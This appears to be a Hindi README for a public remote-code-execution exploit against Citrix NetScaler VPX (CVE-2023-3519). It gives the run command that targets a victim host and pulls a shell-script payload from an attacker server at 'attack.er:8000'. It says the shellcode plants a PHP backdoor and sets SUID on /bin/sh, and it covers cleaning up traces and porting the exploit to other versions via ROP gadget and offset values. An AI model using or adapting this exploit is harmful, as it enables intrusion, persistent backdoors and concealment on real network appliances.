
CVE-2023-3519 के लिए RCE एक्सप्लॉइट
यह एक्सप्लॉइट Citrix VPX 13.1-48.47 के लिए पतों और शेलकोड का उपयोग करता है। पूर्ण विवरण के लिए, यहाँ क्लिक करें।
शेलकोड बनाने के लिए NASM आवश्यक है।
$ sudo apt install nasm
शामिल शेलकोड एक दूरस्थ http(s) सर्वर से शेल स्क्रिप्ट डाउनलोड करके चलाएगा। स्क्रिप्ट 3 तर्क लेती है: लक्ष्य होस्ट, लक्ष्य पोर्ट, और शेल स्क्रिप्ट पेलोड का URL. एक उदाहरण पेलोड जो स्वयं को साफ करने से पहले id और uname -a चलाता है, इस रिपॉजिटरी में शामिल है।
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
URL शेलकोड बफर में फिट होने के लिए पर्याप्त छोटा होना चाहिए, और यदि यह बहुत लंबा है तो आपको चेतावनी मिलेगी।
शेलकोड /var/netscaler/logon/a.php में एक PHP बैकडोर बनाएगा और /bin/sh पर SUID बिट सेट करेगा। शामिल sh पेलोड इन आर्टिफैक्ट्स को स्वचालित रूप से साफ करने का एक उदाहरण दिखाता है। यह भी ध्यान दें कि शेलकोड अपने फ़ाइल डिस्क्रिप्टर को बंद नहीं करता है, इसलिए बार-बार अत्यधिक शोषण से संसाधन समाप्ति हो सकती है।
FreeBSD-आधारित Citrix लक्ष्यों के लिए, आपको केवल 3 मान खोजने की आवश्यकता होनी चाहिए: सहेजे गए रिटर्न पॉइंटर का ऑफसेट, एक jmp rsp ROP गैजेट (या इसके समतुल्य, जैसे push rsp; ret;), और क्रैश से बचने के लिए कूदने का पता। ये पैरामीटर सभी cve-2023-3519.py के शीर्ष के पास हार्डकोडेड हैं। कुछ संस्करणों के लिए आपको RBP मान को ठीक करने के लिए चौथा मान भी खोजने की आवश्यकता हो सकती है, क्योंकि कंपाइलर सहेजे गए रजिस्टरों को पुनर्स्थापित करने के लिए POP निर्देशों के बजाय RBP-सापेक्ष लोड उत्पन्न करता है।